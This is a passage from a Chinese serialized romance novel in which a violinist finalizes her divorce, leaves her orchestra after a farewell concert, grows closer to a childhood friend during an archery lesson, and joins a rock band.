“既然是我耽误了你昨天的行程,那今天我负责送你过去吧。”他如此解释。 “好,多谢。”到了现在这步,陆照霜也没什么好瞒着他的了,爽快地上了他的车。 郁思弦一边看着后视镜倒车,一边问:“准备什么时候回来?” 陆照霜想了想,回答:“说不好,本来只打算去崇澜岛待一阵的,但现在觉得多去几个地方转转也不错,看情况吧。” 车子驶上了正轨,郁思弦很快地往她这边看了一眼,似乎想说点什么。 她的手机铃声却突然响起。 从包里拿出来,显示来电人是林珩。 陆照霜朝郁思弦做了个抱歉的口型,然后接起了电话。 不知道林珩在什么地方,背景音乱得出奇,上来就是一句,“听说你离婚了?” 跟上次徐勿凡那句“听说你老公出轨了”直接得如出一辙。 什么叫好事不出门坏事传千里啊,这就是啊。 陆照霜无力地“嗯”了一声。 林珩哼笑了一声,“人逢喜事精神爽啊,趁着这个机会,想不想加入我们?” 陆照霜简直要被气笑了,不知道是气他能把这称之为喜事,还是气他这个燕国地图的长度。 “这个嘛……”她特意拖长了调子,“我需要再想想。” 林珩没有如她预想得一样着急,反而很淡定地说:“行啊,你考虑吧。不过呢,作为队长,我决定单方面,给你出个价。” 陆照霜反而被勾出了好奇心。 就算最近搁浅给他们的演出费上涨了,但先前还欠着各种债务,她实在想不到林珩能对她提出什么价码。 “你说,我洗耳恭听。” 林珩清了清了嗓子,“虽然呢,你已经插手了我的很多曲子,把我的曲子都改得面目全非了。但是呢,将来你第一次作词作曲的曲子,我可以保证一个字也不会动。” “相反,”他语气颇有点郑重,“我会负责把你的曲子,演绎得完全超乎你的想象。” 这也能叫出价? 真是,荒诞、古怪,但确实非常有林珩风格的出价。 陆照霜乐了,“可我不会作曲也不会写词啊。” “你没试过怎么知道不行?我看你改我曲子不是改得很顺手吗?” 听出他是认真的,陆照霜也就收敛了笑意,“好吧,我会考虑你的邀请的。” “得嘞,你去疗你的情伤,我得去给我找个新替补了。”林珩听上去十分满意地挂断了电话。 “林珩叫你正式加入?”郁思弦问。 “嗯。” “你怎么想的?” “我这一阵会好好想想的,”陆照霜慎重地回答,末了,又看向他,“你想帮他劝我吗?” 郁思弦反问:“我劝你的话,结果会有什么不同吗?” 陆照霜立刻就被问住了,她转过头,不太自在地别了别耳边的发丝。 郁思弦低笑了声,慢悠悠道:“放心,我的干预到此为止,这件事全凭你的意愿。” 她给了他一个幽怨的眼神。 她就知道!但他还是非要逗她一下! 到了港口,郁思弦把车停下。 他绕道后方,帮她把行李箱从后备箱拎出来,然后抬眸看着她,眸色很深。 就在陆照霜以为他要对她说再见的时候,郁思弦忽然捉住她的小臂,一把将她拉进了他的怀抱。 陆照霜蓦然睁大了眼。 那种隔着薄薄的夏日衣料,能感受到的体温。 陡然间,将她一直以来刻意去忽略的、台风那晚产生的微妙感受,重新塞进了她的胸腔。 她又不知道该怎么办了。 郁思弦手掌紧紧按着她背部的骨骼,声音似乎在隐忍着什么似的,压得很低。 “阿照,我等你回来。” * 接到陆照霜的消息,萧烨时隔多天,重新回到了江源名苑。 还没走近,就已经看到了进进出出的装修团队。 一直给他们做家政服务的张阿姨正站在门口指挥,见到他来了,忙迎上来,“先生,陆小姐说,您的东西最好今天就能尽快搬走,不然被装修的人弄坏了就不好了。” 萧烨有种微妙的,自己好像正在被催促着赶走的感觉。 他冷淡地点了下头,迈步进屋。 就算他在家的时候不算多,也立刻就意识到了不同。 客厅里的结婚照没了。 装修公司还没开始大动呢,她就先让他们把结婚照拿下去了? 她可真是,急不可耐。 萧烨冷笑了一声,也没再理会别的,径自走进了书房,其他的那些都不重要,只有一些文件是需要带走的。 然而就要踏出房门时,他脚步一停。 沉默很久后,又折返回去,打开书柜,从最深处拎出那支存满了门票的密码箱。 就,也不是觉得多重要,但留在这儿要是哪天被她打开了,好像显得他有多看重这些门票和木牌似的。 这么想着,他拎着密码箱出了书房门,站在客厅里好半晌,直到电话铃声响起才回过神。 是他助理的电话。 “萧总,您台风那天弄丢了的手机在酒吧找到了,就是进了水,可能坏得有点厉害,还不确定能不能修好,我给您送去维修?” “OK,去修就行了,修不好就修不好吧。”他随意交代了一句,就挂断了电话。 他也不差一个手机。 唯一重要的就是手机上的数据,不过大部分都有漫游和存档,只是空缺了台风那天从下午到晚上几个小时的数据。 但这几天工作下来,也没产生什么影响。 想来也是。 就那几个小时而已,有谁会在那样的天气,有急事找他呢? 眼见着张阿姨一直偷偷觑着他,萧烨干笑了一声,终于起身离开,坐回了自己车上。 他心烦意乱,咬住了烟,打火轮拨动、松开、又拨动,犹豫着要不要凑近了点上。 在生意场上混了这么久,一直忍着没被带着迷上烟瘾,最近却隔三差五就忍不住想抽一根。 另一只手不经意间,已经打开了朋友圈。 他国内外狐朋狗友众多,爱在朋友圈晒生活的人不在少数。 滑雪的、冲浪的、赛车的、度假的,饱和度拉满的照片张扬地炫耀着他们精彩的生活。 却只让萧烨觉得头晕目眩,心下烦躁没有丝毫缓解。 一直翻到他拇指都有点酸了的时候,他也没有翻到陆照霜的任何朋友圈。 原来她是从来都不发的。 只是以前他们是夫妻,有点什么事,她都会在微信上告诉他,她的生活以这种方式填满了他的生活,以至于他一直下意识以为,她也和其他人一样,乐于在朋友圈分享生活。 当他们不再是夫妻,她的生活就从他的生活里彻底消失了。 火舌终于还是点上了烟头。 他疲倦地闭上眼,向后倒在椅背上。 毕竟在成为夫妻之前,他们已经做了二十*多年的青梅竹马。 会不习惯是正常的。 他总会习惯。 【作者有话说】 作者手动闪回[捂脸偷看]!小时候每天去看郁思弦这段回忆在10章 !给萧烨拉《爱之喜》的回忆是在三章! 属于郁思弦的回合,马上就要正式开始啦! 36/ 第36章 ◎将她拢进怀里◎ 7月末,陆照霜回到申城。 她事先没有通知任何人,而是先独自去了陵园给章若华扫墓,然后约了朱老师在他家附近的咖啡厅见面。 朱高远走进来时,还带着藏不住的笑,“哎呀你这孩子,都到这里了,怎么不上我家坐坐,你师母也念叨你好久了。” 陆照霜嘴唇抿紧,缓缓将一封信推到朱高远身前,“抱歉,朱老师。” 朱高远愣愣地看着那封信,脸上的笑也就消失不见了。 他脸色绷得很紧,把那封信一个一个字看完,然后两只手把信纸捏紧了,“什么意思,你都走到这一步了,却要辞职?” 顿了顿,他又恍然大悟一样,“是不是又有人说你的闲话了?照霜,你不要怕这一点,总有一天,实力会证明一切的,如果他们真的说得特别过分,你告诉我,我亲自去教训他们一顿!” 陆照霜听得微微笑了,但最终还是摇了摇头。 “如果是因为这种理由,我早在几年前就辞职了。” 朱高远愣了一下,“那还能是为什么?” 陆照霜微垂下脑袋,轻声道:“朱老师,五年前我没赶上妈妈的最后一面,我一直试图用各种方式来弥补我当时犯的那些错,然后就在我当上首席的那天,我去了一趟妈妈的墓地。” 听到这句话,朱高远眼中闪过一丝讶异。 “我以为这会有点不一样……但其实什么都没有。朱老师,妈妈已经去世了,无论我做什么,都不可能弥补我在她在世的时候犯过的错了。” “所以。” 陆照霜深吸了一口气,才终于抬头直视朱高远的眼睛,“我决定放过我自己了。” “照霜……”朱高远只是开了个口,却因为不知道该说什么,再次沉默了下去。 陆照霜笑了笑,“那次首席考核,杰奎琳的表演和曲子的原意那么南辕北辙,但我们最后也就差了0.01分,说明她的演奏真的让很多人心动了不是吗?” 她闭了闭眼,一个字一个字说道:“只有有灵魂的音乐才能真的打动人心,而我没有。我只是因为更规矩、更和乐队合得来才被选上的。” “照霜!”朱高远严厉地喝止了她的自我贬低,“音乐是多种多样的,你不要被别人影响到了!” 陆照霜笑着摇了摇头,“朱老师,我不是在妄自菲薄或者什么,我只是明白了——对我来说,学小提琴是因为妈妈想要我学,加入乐团是因为妈妈希望我能加入,一直努力考首席是因为想弥补当时没能完成的承诺,我一直在为了别人而拉小提琴。” “接下来我只想为我自己拉琴了,老师,这就是我选择辞职的理由。” 朱高远久久无法从她这句话中回过神来。 他想,他或许在这之前就已经从她身上看到了变化。 不知道从哪一个节点开始,她不再一味服从乐团内的安排,她似乎在乐团之外总为另一些事情忙碌,在她最近的演奏里,他听到了比过去更鲜活的声音。 那是属于一个二十多岁的年轻人应该拥有的鲜活感情。 而非背负着过多不该由她背负的东西,沉闷得像一个被关在监狱的囚徒。 朱高远突然就说不出任何阻拦的话了。 他安安静静地喝完了整杯意式浓缩咖啡,最后缓缓道:“正好下一个音乐季还没有开始,我去跟管理层谈谈,上次首席考核选拔的那几位候选人还可以再去洽谈一下,你的离职申请应该能批下来,不过下周的那场音乐会应该来不及换人了,就当你在这里的最后一站,好好表现吧。” 陆照霜眼眶发酸。 朱老师终究是她的老师,就算最开始反对,到最后还是帮她把后路都想好了。 “谢谢老师。” 朱高远摆摆手,“跟我有什么好客气的,你先走吧,我……” 他忽然就有点局促地别开了眼,“我再坐会儿。” 看着自己故交的女儿、自己的学生、这些年来的同事就这样离去,他到底还是不像他表现得那么从容。 陆照霜张了张口,却也不知道能说什么,只能道:“那我先走了,老师。” 她抿着唇经过朱高远身边,握住了咖啡厅的门把手。 朱高远的声音突然就从后面响起—— “照霜,若华离世的那天我就在她旁边,也许她最后,只是想要你能过得更自在一点。” 陆照霜攥着门把手的力道紧了紧,好一会儿,她才转头对朱高远一笑,“如果是那样的话,就太好了。” * 第二天是和萧烨约好到民政局领离婚证的日子。 今天是她到得比较早。 她坐在办事大厅,在逃出人间的群里@全体成员:【下周六晚上有我的音乐会,门票给你们买好了,要来听听吗?】 高若涵:【要!我要看照霜姐当首席是什么样子!】 唐湾:【可以的,正好那天晚上我应该不加班。】 林珩:【行啊,指不定被我发掘出哪个沧海遗珠,是天选流行音乐人,到时候陆照霜你就后悔去吧!】 徐勿凡:【看情况,有空就去。】 她一一回复着他们的消息,眉梢眼角都不禁染上了几分笑意。 萧烨就是这个时候到的。 他仍旧穿着一身板正的西服,既像是刚从一场会议里出来,又像是准备马上就去参加一场晚宴。 但她今天从度假装,换成了简单的T恤和长裤,绑了个松松的低马尾。他一个月前怨她太夸张,今天又恨她太随意。 不知道她这是在玩什么把戏。 这个月像是人间蒸发一样,既没有只言片语的消息,也从没在任何场合碰到过她。 萧烨站到了她面前,神色莫名,“看起来你这一阵过得不错。” 陆照霜抬起头,笑了笑说:“是还不错。” 没有了一个月前在他面前刻意维持的平静,也没有了不经意就会流露出的愤懑和怨恨。 她看着他,就好像他是什么她人生中不重要的过客似的。 他们此刻只有咫尺之遥,萧烨却觉得他们之间隔了厚厚一层壁障,他越来越看不懂她了。 “到我们了。”陆照霜往那边看了一眼,然后率先走过去,马尾尖在她背上一甩甩的,勾得他心头蹿起一股无名火。 她认真跟工作人员确认过后,握住笔准备签字。 却被人一把攥住手腕。 陆照霜错愕转头。 萧烨的眼神此刻浓黑阴沉,让人无端觉得有些危险,“陆照霜,你想好了,这下签了就真的没有你后悔的余地了。” 工作人员见怪不怪,到了这时候突然临阵反悔的也不是没有。 陆照霜皱了下眉头,他竟然还以为她会后悔。 也对,从他的视角,她为了留住他不惜联姻,不惜忍受两年异国和所有冷暴力,还为了他和白斯榕崩溃成那个样子。 她在他眼里大概就是这样不择手段死缠烂打的人。 就算她已经不再为此感到伤心了,却还是会觉得有种深入骨髓的疲倦,涌入了四肢百骸。 原来不只是他不复当年的模样。 她也是。 她早在医院那天之前,就已经把自己变成了一个很可悲的存在了。 “不会了,再也不会了。”陆照霜摇着头,重新攒聚起力气,把自己的手腕从他手里挣脱出来。 他握得真得太紧了,她腕骨那一圈都被留下来一圈红痕,还带着点隐约的疼。 但陆照霜这会儿顾不上这一点了,她重新握住笔,毫不犹豫地签下了自己的名字。 然后她偏过头,看着萧烨,就好像在说——看,这就是我不会再后悔的证据。 萧烨定定地注视了她好一会儿,才终于绷着唇线,像要证明他比她更不觉得后悔似的,更快地签下了自己的名字。 一个月的冷静期,他们谁都没有撤销申请,签过字以后,证件从红色换成了红色,离婚证到手。 萧烨将那个薄薄的小本握在掌心,无端觉得那是一种比结婚证沉得多的重量。 抬眼时,就见陆照霜只翻看了一眼,就平淡地把离婚证塞进了包里。 他一瞬间觉得心里的无名火更旺了。 但他知道自己没有任何发火的理由,只能忍耐下去。 从民政局出来的时候,他问:“我们离婚这事,你跟人说过了吗?” “比较亲近的朋友都知道了。” “陆叔叔还不知道?” 这个问题让陆照霜瞬间心虚。 她固然认为离婚是她一个成年人有权利独自做出的选择,但一直没告诉她爸,就是因为不敢。 这几年,在她爸那里,她经常觉得自己呼吸都是错的,更别说和萧烨离婚这种大事了。 “……还没有。” 萧烨垂着眸,摩挲着手里的离婚证,漫不经心般说:“那长辈们那边过一阵再公开吧,我这边还有很多事情需要处理好。” 陆照霜想了想,觉得可行。 “那你觉得可以公开了跟我说一声,但最起码要在我奶奶的八十大寿后面,我不想因为我的事情闹得她生日过不好。” “OK.”萧烨揉了揉鼻梁答应道。 陆照霜偏头很快地打量了萧烨一眼,他同过去一样,身形打扮仍旧精干逼人,只是眼底有没休息好的淡淡青紫。 大约是工作太忙了。 但这也不是她应该、愿意插手的事情了。 他们这对新晋离婚夫妻就这样站在民政局门口,聊完正事以后,彼此就已经没有其他话可讲。 陆照霜悲哀地意识到,他们并不是离婚了也能做朋友的类型。 就这样吧。 “那我先走了。”她朝萧烨摆了摆手。 “阿霜——”萧烨突然开口叫住她。 陆照霜就静等了会儿他的下文。 但他皱起的眉头下情绪翻涌,最终还是一个字也没能讲出来。 于是陆照霜就笑了笑,转身离开了。 回到家里,当然还有很多正事要干,比如一个周后音乐会的排练,但是看着手里的离婚证,她翻来覆去左看右看,还是没忍住拍了张照片。 她破天荒地很想向人分享这件事,但很可惜,这还不是她能发在朋友圈里的东西。 有一个人知晓这件事的全部经过,也不会笑话她,是她很好的分享对象,但陆照霜就是发不出去。 她仰头倒在沙发上,看着微信上属于郁思弦的、非常安静的聊天框,有点烦躁地咬着唇,点开,往上翻看。 这一个月也没有聊很多天,就是郁思弦每天都会问她的行程和安全,她回复过后,偶尔给他发几张风景照,他简单评价几句,仅此而已。 然后从两天前就断掉了。 他开始一言不发。 虽然,确实,是她没有告诉郁思弦自己回来的时间和航班。 但现在连林珩都知道了,他怎么还一点反应都没有呢? 不是他自己说的什么“我等你回来”之类的乱七八糟的话,害她在路上总忍不住猜他是什么意思的吗? 那他现在是在干什么? 她一时失神,等注意到的时候,她已经点了点郁思弦的头像。 【我拍了拍“郁思弦”】 陆照霜唰一下就坐直了身体,惊悚地看着聊天页面最底端那行浅浅的字。 那不是拍一拍,那分明是呈堂证供! 她手指颤抖着点住那行字,发现跳出了“撤回”的选项。 她慌忙按下,那行字消失无踪。 陆照霜这才长长呼出一口气,重新躺回了沙发上,平生头一次感谢微信还有如此人性化的设计。 但下一刻,微信电话界面跳了出来,瞬间占据了她的全部视线。 “郁思弦”的名字赫然显示在上面,陆照霜差点没把手机摔下去。 她瞳孔放大,心脏跟着砰砰跳起,在她终于忍受不了越来越快的心率时,她心一横,按下了接听。 “喂……”她虚弱地接起。 信号传输带着微弱电流,却压不住郁思弦低低的笑声。 “阿照,拍一拍是什么意思?” 他果然看到了。 陆照霜生无可恋,对这个明明很年轻却脱离时代的家伙解释道:“就是……你可以设置一段话,别人如果点点你的头像,就会跳出你设置好的那句话。” 郁思弦“哦”了一声,并没有恍然大悟的意思,反而带着一种微妙的促狭,“所以你刚才点了点我的头像。” 陆照霜沉默装死。 郁思弦好像丝毫察觉不到她的尴尬,笑了一声,意味深长地道:“阿照,原来你这么想我。” “……”陆照霜此刻想跟地狱共存亡。 她索性破罐子破摔了,“是啊,都这么久没见了,不可以吗?我今天连离婚证都领回来了,你也一点消息都没有,不知道的还以为你出什么事了呢。” 说完她立刻就后悔了。 唯独在他身上,她绝不愿用“出事”这种事情开玩笑。 “抱歉,思弦,我不是那个意思。” 郁思弦又笑了声,安抚她道:“没关系,我明白,阿照。” 他又回到那个温柔体贴的好朋友郁思弦了。 陆照霜刚刚炸起的毛也就重新软和了下去,她左手抓着手机,右手无意识地揉捏着T恤的底部。 “所以,你这两天怎么突然没消息了?” “这个嘛……”郁思弦慢悠悠地回答:“大概是因为我想知道,需要几天,你才会来找我。” 两天。 答案是两天。 郁思弦望着一碧如洗的蔚蓝天空,眉眼不自觉地稍稍弯起。 “什么嘛,原来你又在逗我了,”陆照霜没把这当回事,“你要是跟我说有什么事情的话,我当天就会去找你啊。” 郁思弦没对她解释这其中的差别,只是温声问:“阿照,我正在风羿射箭馆,你要来玩吗?” 左右这会儿也练习不进去,陆照霜也就欣然应允。 只是在换衣服准备出门的时候,她忽然意识到一件事——“拍一拍”这个功能,是没有红点消息提示的。 那么,从她拍了郁思弦到撤回,那么短的时间。 如果不是郁思弦一直在盯着手机,他又怎么会发现呢? …… 陆照霜抵达风羿射箭馆,这是一家户外射箭馆,价格和服务都够高,因此人很少。 她一眼就从中看到郁思弦。 他正瞄准靶子,左手持弓,右手把弦拉满。 “嗖——”长箭破空,正中靶心。 十环。 他穿着黑色的皮革护具,带着护目镜,原本就挺拔的身姿被衬得格外英气逼人。 圈内很多人玩赛车、玩滑雪、玩攀岩,只有郁思弦,大约是因为幼时的那件意外,对危及生命的极限运动敬谢不敏,他只喜欢玩射箭。 杜宇宁说他无趣,萧烨说他这爱好太变态。 但陆照霜真的觉得,再没有比这更适合郁思弦的运动了。 在这项运动里,真正重要的是在他出手前,准心、力道、风速,计算好这一切,然后瞄准目标,一击即中。 完全是郁思弦的风格。 陆照霜给他鼓了个掌,“真厉害。” 郁思弦转过头来,“想不想试试?” “我吗?” 陆照霜还从没玩过,但刚才看郁思弦那一箭,实在太酷了,她不免有些心痒,“好啊。” 于是她跟着工作人员,去换上护具,并请了一位资深教练来指导她。 但他们刚走到靶场,郁思弦就把那个教练打发走了,“我来教你。” 看过他射箭的样子,陆照霜对他的教学水平很有信心,自然没什么意见。 等她听完郁思弦的基础教学,就兴致勃勃地开始尝试,但别说十环,她连射到靶子上都很难。 收不到正反馈,她难免有些泄气。 就在这时,一只宽大的手从后伸来,覆住了她的左手,“弓抬高。” “右手力气不够。”说着,另一只手握住了她的右手,带着她将弦拉得更满。 “稳住重心。”郁思弦几乎完全将她拢在了怀里,迫使她身体挺直。 他的呼吸就落在她耳边,灼热的体温与她只隔着两层布料,她整个人都僵硬了。 “阿照,放箭。” 陆照霜的大脑已被烧到宕机,根本反应不过来他在说什么,只是条件反射一样松开了手。 “嗖——” 十环。 “真厉害,阿照。” 郁思弦在她耳边夸赞了一句,就退了开去,和她隔着一步远的距离,歪头礼貌地问她:“现在你应该能把握住姿势了,怎么样,阿照,想再试试吗?” 陆照霜心脏还在砰砰乱跳,手脚都有些无处安放,胡乱说道:“我想起我还有点别的事要处理,你先玩吧,我得回去了。” 郁思弦垂眸看着她,叹了口气,“那真遗憾。” 陆照霜根本听不懂他这话究竟在指什么,也不想听懂,落荒而逃。 一直到坐回自己车上,打开空调,她才感觉自己能重新呼吸了。 只是,当她打开手机的时候,再次感受到了来自靶场的热度。 微信聊天界面。 【“郁思弦”拍了拍我,说他很想我】 37/ 第37章 ◎她永远会做郁思弦的家人(周末加更)◎ 到了八月,陆奶奶的寿诞在即,所有要去贺寿的人都开始在家族群内报自己的日程,好方便管家安排住宿和接机。 陆照霜每天在群内蹲守,终于蹲到她父亲报了航班和日期,这才飞速订了父亲两天后的机票,发在了群内。 没一会儿,陆父一个电话就打了过来。 他倒没对日期有什么意见,父女两这几年关系僵硬到这种程度,单独相处谁都尴尬,他关心的是别的,“萧烨不跟你一起来?” 陆照霜头皮发麻,“他有事要忙,赶不上了。” 就算陆父平时再怎么喜欢萧烨,涉及到自家母亲的八十岁寿诞,也觉得萧烨有些不识趣了。 他冷哼一声:“就他现在的分量,还能忙到这种程度?” 陆照霜噤声,没敢在这时候给萧烨说话,当然也不想说。 但她又害怕爸爸心里有气,去萧叔叔他们那边说点什么,最后把离婚的事情提前捅出来,那就完蛋了。 陆照霜便开始信口胡诌。 “他虽然去不了,但是诚心去庙里给奶奶祈了福(她会自己去求),还托我带寿礼过去(她会多买一份),心意到了,总比那些就冲着奶奶遗产去的人好吧?” 她爷爷早逝,陆家的家业是奶奶一手做大的,如今虽然退休了,但股份什么的还都捏在手里,无论是亲近的还是不亲近的亲戚,这些年见奶奶年纪大了,全都一窝蜂往奶奶身边挤,还不好制止。 这一点陆父也是不满了很久的。 故此,陆父勉勉强强接受了萧烨不来这件事。 挂掉电话,陆照霜立刻给萧烨发消息对口供,以免最后穿帮。 萧烨的聊天框上面,“对方正在输入中”闪烁了足足有五分钟。 陆照霜耐心地等啊等,最后萧烨发来简单一句:【OK】 陆照霜满头问号,那他打那么久字是在干嘛? 但无所谓了,把这一茬过去了就行。 刚松了口气,沈霖的电话又打了过来。 她还一句话都没来得及说,沈霖劈头盖脸就是一句:“你不跟思弦哥一起来?” 陆照霜头疼扶额。 就他特别!不问别的,就问郁思弦。 偏偏她现在觉得最尴尬的就是郁思弦。 但陆照霜转念一想,她干什么亏心事了,为什么要觉得尴尬? 于是她的声音又有了底气,“我又不是没手没脚、生活不能自理,为什么非要和思弦一起去?” “啊?”沈霖发出单纯的疑问:“可你们两不都在申城吗?为什么不跟思弦哥一起来?” 陆照霜神情复杂,难以对自己的弟弟说明那天射箭馆的事情。 她干脆祸水东引,“我跟萧烨离婚了。” “什么!” 果不其然,沈霖的注意力立刻就被转移开,“真的假的?” “我总不至于为了骗你造个假证。”陆照霜那张离婚证的照片终于有了可以发的人,感觉身心都舒畅了。 沈霖又追问了许多他们离婚的事情,陆照霜没说得太细。 那些事情萧烨有错,她也很蠢,说出去只是丢自己的脸,故而最后总结为一句:“其实就是不合适。” “这种事你早该知道了!不过算了,现在发现也不算晚。” 沈霖的语气里透着股显而易见的愉悦,“等我告诉闻静,她也会高兴的。” “告诉静静可以,但你可别再说给别人了,我不想让奶奶生日都过不好。” “知道,我心里有数。” 再次挂掉电话,陆照霜有些疲惫地把整个身子窝在椅子里,往上翻着聊天记录。 没有郁思弦,没有郁思弦,没有郁思弦…… 他怎么还不发他的航班啊? 陆照霜又有点急,又有点焦躁,但就是不肯切去跟郁思弦私聊。 因为他们聊天界面的最后一句话,还是—— 【“郁思弦”拍了拍我,说他很想我】 陆照霜摇了摇头,不想了,明天就是她在申城交响乐团的最后一次演出了,练习要紧。 …… 次日,陆照霜站在申城音乐厅的舞台上。 台下,她买好的四个连座上,逃出人间众人齐齐穿着黑色骷髅T恤坐在那里。 林珩和高若涵在胸前给她比着各种稀奇古怪的手势,两边的徐勿凡和唐湾都别开了脸,仿佛是在假装自己和这两人并不是一伙的。 陆照霜差点笑出声来。 这还是第一次,她买好的位置,终于迎来了属于它们的客人。 好像因为那多达91次的失约,在她心头塌陷下去的那个缺口,在此刻终于得到了一种暖烘烘的补偿。 她的目光又下意识往更远处瞥去。 然后在一个角落里找到了郁思弦。 隔着大半个音乐厅,他们对上视线。 郁思弦细框眼镜后面的眼睫微垂,流露出一点笑意。 好像那天的尴尬不存在似的。 陆照霜耳尖发烫地移开了视线。 郁思弦这人真的是,难以形容。 虽然有那么多更好的位置可供挑选,但他总坐在那种不仔细找都发现不了的边边角角。 虽然如今古典音乐的观赏礼仪已经相当开放,但他仍旧每次都规规矩矩穿着熨帖的西服。 虽然她一次也没有给他寄过门票,比起来看她的音乐会,她更希望郁思弦能顾及自己的身体多多休息,但他就是一次不落地赶过来。 真的是,另一种方式的,教人很不省心的存在。 虽然这么想着,但陆照霜嘴角还是忍不住稍稍扬起。 朱高远站上了指挥台,在对观众和乐团众人致意过后,他的目光落在了陆照霜身上。 师徒两对视了好一会儿,忽然,朱高远眨了下眼,露出了一种堪称老顽童的微笑。 这是他们作为指挥家和小提琴首席的最后一次合作了。 他才不要以一种悲痛沉湎的方式收场。 他要让音乐成为流淌于乐器上的舞蹈,和他的学生一起,最后完美地享受一次音乐。 今日的演奏曲目——莫扎特《第40号交响乐》。 一部从莫扎特困窘生活中脱胎而出的作品,却完全没有去哀伤地哭诉苦痛,相反,整部作品都是一种或慷慨、或舒缓、或紧张、或挣扎的旋律。 朱高远的指挥棒上下挥动,陆照霜的琴弓飞速跳动。 这样灵活而变换不定的指挥风格,以及整支乐队出色的发挥,完美地展现了莫扎特从苦难中挣扎而出的超脱。 曲毕,掌声哗哗响起。 陆照霜睁开眼,心头环绕着一种格外的轻松和释然。 目之所及,观众们的情绪也是昂扬的,这大概是他们的所有音乐会里,睡着的观众最少的一次。 林珩他们显然也得了趣,非但没有露出无聊的神色,鼓起掌来反而比谁都起劲。 真好。 这不是陆照霜在申城交响乐团演奏过最难的一次、最深刻的一次,却是她觉得最开心的一次。 她拎着裙摆,朝着观众席,朝着她所有和睦与不和睦的同事,深深鞠了一躬。 作为对她这五年时光最好的告别。 回到后台,消息已经飞遍——陆照霜要退出乐团,而上次以0.01分落败的杰奎琳纳尔森将担任他们的下一任首席。 “你真的要走吗,照霜?” “不是有点太可惜了吗?你不是刚选上首席没多久吗?” “是不是有什么别的原因啊?上次好像听见管理层对你有意见?” 真正关心的、吃瓜看热闹的、打探消息的人全都涌了上来。 对于这些纷至沓来的问题,陆照霜统一回以淡淡的微笑,“谢谢大家的关心,不是什么别的,是我自己的一些原因,就算以后我不在乐团了,也还是会过来听大家的音乐会的,希望大家都能越来越好。” 其他人便也不好再议论什么,对她说了些前程似锦的场面话。 只是这厢其乐融融,另一边却传来一声嗤笑。 陆照霜一转头。 唐颖背靠着换衣柜,目光锐利地落在她身上,神情中不乏嘲弄,“还当你能坚持多久呢?原来也就这种程度,也是,赶紧回去当你的大小姐吧,这里可不是给你体验生活的地方。” 纵观过去五年,她们之间因此发生过多少次冲突。 其他人都有点紧张,生怕她们在今天这种日子再闹起来,那就太难看了。 但陆照霜与过去的每一次都不一样,她只是非常平静地望着唐颖。 “唐颖,其实你不是没有天赋的,但你总是把你的目光放在别人身上,而不是你自己身上,否则上一次,你就不会因为杰奎琳的存在,只拿下了七十多分。” “所以别再看着我了,看看你自己吧。” 唐颖立刻就像炸毛的狮子一样睁圆了眼睛,“陆照霜你什么意思?” 陆照霜摇着头笑了一下,就告别众人离开了,没有再理会唐颖。 她说到这里已是共事五年的最后一丝恻隐,真要她给死对头做人生导师,她还没那个圣母心。 拿上自己的东西,她打开手机,看到林珩的新消息,说他们跟郁思弦一起在休息室等她。 她下意识笑了一下,抬眼时,看到汪嘉文正从她面前的走廊经过,她连忙出声叫住,“嘉文!” 汪嘉文顿了一下,犹豫地偏头看过来。 陆照霜好像浑然没发觉她们之间的尴尬,上前捉住她的手,“还记得我上次跟你说的吗?等我想好,我会把我正在做的事情告诉你,我现在就带你去见见他们。” 汪嘉文的神情这才软化了一点,却还是挣扎犹豫的,“你辞职这件事都没提前告诉我,我还以为……你什么都不打算跟我说了。” “不会,”陆照霜肯定地望着她的眼睛,“嘉文,这件事,你会是第一个知道的人。” 汪嘉文睫毛颤动,小心地瞟了她一眼,“真的?” “真的!” 于是汪嘉文很快就被哄好,任由她拉着前往了休息室。 以前大约是为了避嫌吧,郁思弦呆的休息室永远是大门敞开的,今天却牢牢关着。 真奇怪。 这一点从陆照霜脑子里飞快掠过,但她也没有多想,就直接把门拉开。 一张长长的红色横幅赫然跃入眼帘—— “恭喜陆照霜女士脱离苦海,正式加入逃出人间!” 林珩和高若涵一人举着一边,脸上挂着紧绷到堪称坚毅的表情。 徐勿凡和唐湾站在中间,手勉强挨着横幅的边缘。 如果说唐湾的表情还勉强算镇定的话,徐勿凡紧闭着的颤抖的眼皮,看起来下一秒就要把这横幅撕了。 郁思弦坐在边上的单人沙发上,倒没有什么尴尬的样子,反而单手支颐,含笑朝她这边望过来。 那意思再明显不过——阿照,你准备怎么应对? 陆照霜还能怎么应对? 她“啪”一声就把门关上了。 她沉默了一会儿,然后对旁边瞳孔地震的汪嘉文微笑道:“今天……可能出了点意外,我还是改天再给你介绍吧。” 但她怎么就忘了,林珩是那种允许她装死的人吗? 门再一次被“啪”地打开,林珩叉着腰俯视着她,“陆照霜,装什么没看见呢?” 陆照霜把发丝别到耳后,彬彬有礼地道:“据我所知,我还没有答应你吧。” 林珩挑眉,“怎么?难道你现在不是过来答应我的?” 陆照霜一脸讶然,“我从乐团辞职了就代表我要加入你的乐队了?” 林珩哼笑了一声,“别装了陆照霜,我又不是聋子,从上次台风天演出的时候,我就知道你已经准备好要加入我们了!” 陆照霜倏然一怔。 高若涵适时地从林珩旁边挤过来,拉着她的胳膊,充分发挥年纪小的优势对她撒娇,“照霜姐你就加入我们吧,你看,我们连队服都帮你准备好了!” 说着,高若涵变戏法一样,从身后掏出一件非常挑战陆照霜审美观的黑色骷髅T恤,“锵锵!” 陆照霜眼皮一跳,幽怨地越过高若涵的肩膀,望向郁思弦。 他就允许这几个人这么胡来? 郁思弦眉眼微弯,朝她摊开手,露出一个无可奈何的表情。 陆照霜只能扶住额头,接过了那条T恤,像是被他们烦到不行才勉强答应一样,叹着气说:“好吧、好吧。” “这就对了嘛,这才是大小姐应该有的归宿!”林珩骄矜地抱着胳膊点头。 高若涵则一把攥住她的手,眼睛亮晶晶,“那我们逃出人间从现在就是完全体了!!!” 汪嘉文站在旁边,出神地看着陆照霜。 就算陆照霜嘴上说得再勉强,但这样鲜活的模样,在她们于乐团相识的这几年里,她几乎从未见过。 她好像突然就明白了陆照霜要退出乐团的理由了。 “照霜,这就是你为自己做的新选择吗?” 陆照霜闻言,顿了一下,目光从休息室内逃出人间的所有人身上扫过。 然后她转头直视汪嘉文的眼睛,轻而郑重地“嗯”了一声,“如果哪天我们可以上音乐节或者开livehouse,我会给你寄门票的*,到时候一定要来看啊。” 汪嘉文突然就有些释然了。 无论是这段时期以来,还是未来必然会加剧的,她们之间的渐行渐远。 “那好,一定要给我寄门票啊,”汪嘉文伸出手,抱了她一下,轻声道:“祝你在这条路上也可以一帆风顺。” 这样释怀的临别赠言,让陆照霜眼眶涩然起来。 